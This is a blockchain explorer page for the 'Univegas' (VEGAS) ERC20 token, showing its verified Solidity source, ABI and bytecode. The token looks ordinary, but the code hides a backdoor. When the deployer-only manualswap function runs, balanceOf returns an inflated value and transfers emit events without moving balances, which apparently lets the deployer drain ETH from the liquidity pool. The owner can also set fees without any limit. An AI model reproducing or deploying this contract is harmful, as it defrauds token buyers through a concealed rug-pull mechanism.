ETH Price: $3,433.30 (+5.46%)
Gas: 8 Gwei

Token

Univegas (VEGAS)
 

Overview

Max Total Supply

1,000,000 VEGAS

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,373.193633699 VEGAS

Value
$0.00
0x683ca63ecb2a21e89d7386968429d3f11a956d3e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VEGAS

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-14
*/

/**

🦄 Website -> https://univegas.io

🦄 Telegram -> https://t.me/univegas

🦄 Docs -> https://docs.univegas.io

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;

// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract VEGAS is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "Univegas";
    string private constant _symbol = "VEGAS";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy;
    uint256 private _taxFeeOnBuy = 2;
    uint256 private _redisFeeOnSell;
    uint256 private _taxFeeOnSell = 2;

    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping (address => bool) public preTrader;
    address payable private _developmentAddress = payable(msg.sender);
    address payable private _marketingAddress = payable(msg.sender);

    IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap;
    bool private inAutoSwap;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = 15000 * 10**9;
    uint256 public _maxWalletSize = 15000 * 10**9;
    uint256 public _swapTokensAtAmount = 500 * 10**9;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate = _getRate();
        return (!inAutoSwap && inSwap) ? totalSupply() * 1000 : rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) {
            return;
        }

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) {
            if (!tradingOpen) {
                require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if (to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (contractTokenBalance >= _maxTxAmount) {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                inAutoSwap = true;
                swapTokensForEth(contractTokenBalance);
                inAutoSwap = false;
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp + 120);
    }

    function sendETHToFee(uint256 amount) private {
        payable(_marketingAddress).call{value: amount}("");
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function manualswap(uint256 contractBalance) external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        swapTokensForEth(contractBalance);
    }

    function manualsend(uint256 contractETHBalance) external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if (!takeFee) {
            removeAllFee();
        }
        _transferStandard(sender, recipient, amount);
        if (!takeFee) {
            restoreAllFee();
        }
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        if (!inSwap || inAutoSwap) {
            (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
            _rOwned[sender] = _rOwned[sender].sub(rAmount);
            _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
            _takeTeam(tTeam);
            _reflectFee(rFee, tFee);
            emit Transfer(sender, recipient, tTransferAmount);
        } else {
            emit Transfer(sender, recipient, tAmount);
        }
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) {
            return (_rTotal, _tTotal);
        } else {
            return (rSupply, tSupply);
        }
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function allowPreTrading(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            preTrader[accounts[i]] = true;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"allowPreTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"contractETHBalance","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"contractBalance","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"preTrader","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001966038d7ea4c6800060001962000355565b620000279060001962000378565b60055560026008819055600a819055600954600b819055600c829055600d55600e55601080546001600160a01b03199081163390811790925560118054821690921790915560128054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790556013805460ff60b81b1916600160b81b179055650da475abf000601481905560155564746a528800601655348015620000c357600080fd5b50620000cf3362000305565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000123573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001499190620003a0565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d29190620003a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000220573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002469190620003a0565b601380546001600160a01b0319166001600160a01b039283161790556000805482168152600460209081526040808320805460ff199081166001908117909255308552828520805482168317905560105486168552828520805482168317905560115490951684528184208054909516811790945560055433808552948352818420555166038d7ea4c6800081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003d2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826200037357634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200039a57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620003b357600080fd5b81516001600160a01b0381168114620003cb57600080fd5b9392505050565b611bf280620003e26000396000f3fe6080604052600436106101bb5760003560e01c8063881dce60116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f04614610507578063dd62ed3e14610527578063ea1644d51461056d578063f2fde38b1461058d57600080fd5b8063a9059cbb14610497578063b5a65223146104b7578063bdd795ef146104d757600080fd5b80638f9a55c0116100c65780638f9a55c01461041357806395d89b411461042957806398a5c31514610457578063a2a957bb1461047757600080fd5b8063881dce60146103b55780638da5cb5b146103d55780638f70ccf7146103f357600080fd5b8063313ce5671161015957806370a082311161013357806370a082311461034a578063715018a61461036a57806374010ece1461037f5780637d1db4a51461039f57600080fd5b8063313ce567146102ee57806349bd5a5e1461030a5780636d8aa8f81461032a57600080fd5b806318160ddd1161019557806318160ddd146102725780631ad34a4f1461029657806323b872dd146102b85780632fd689e3146102d857600080fd5b806306fdde03146101c7578063095ea7b31461020a5780631694505e1461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526008815267556e69766567617360c01b60208201525b60405161020191906117df565b60405180910390f35b34801561021657600080fd5b5061022a610225366004611842565b6105ad565b6040519015158152602001610201565b34801561024657600080fd5b5060125461025a906001600160a01b031681565b6040516001600160a01b039091168152602001610201565b34801561027e57600080fd5b5066038d7ea4c680005b604051908152602001610201565b3480156102a257600080fd5b506102b66102b136600461186e565b6105c4565b005b3480156102c457600080fd5b5061022a6102d3366004611887565b61060e565b3480156102e457600080fd5b5061028860165481565b3480156102fa57600080fd5b5060405160098152602001610201565b34801561031657600080fd5b5060135461025a906001600160a01b031681565b34801561033657600080fd5b506102b66103453660046118dd565b610677565b34801561035657600080fd5b506102886103653660046118f8565b61069d565b34801561037657600080fd5b506102b66106bf565b34801561038b57600080fd5b506102b661039a36600461186e565b6106d3565b3480156103ab57600080fd5b5061028860145481565b3480156103c157600080fd5b506102b66103d036600461186e565b6106e0565b3480156103e157600080fd5b506000546001600160a01b031661025a565b3480156103ff57600080fd5b506102b661040e3660046118dd565b610727565b34801561041f57600080fd5b5061028860155481565b34801561043557600080fd5b50604080518082019091526005815264564547415360d81b60208201526101f4565b34801561046357600080fd5b506102b661047236600461186e565b61074d565b34801561048357600080fd5b506102b6610492366004611915565b61075a565b3480156104a357600080fd5b5061022a6104b2366004611842565b610776565b3480156104c357600080fd5b506102b66104d2366004611993565b610783565b3480156104e357600080fd5b5061022a6104f23660046118f8565b600f6020526000908152604090205460ff1681565b34801561051357600080fd5b506102b66105223660046119d5565b610802565b34801561053357600080fd5b50610288610542366004611a29565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561057957600080fd5b506102b661058836600461186e565b610881565b34801561059957600080fd5b506102b66105a83660046118f8565b61088e565b60006105ba338484610909565b5060015b92915050565b6010546001600160a01b0316336001600160a01b031614806105f957506011546001600160a01b0316336001600160a01b0316145b61060257600080fd5b61060b81610a2e565b50565b600061061b848484610a7b565b61066d843361066885604051806060016040528060288152602001611b95602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f92565b610909565b5060019392505050565b61067f610fcc565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b0381166000908152600160205260408120546105be90611026565b6106c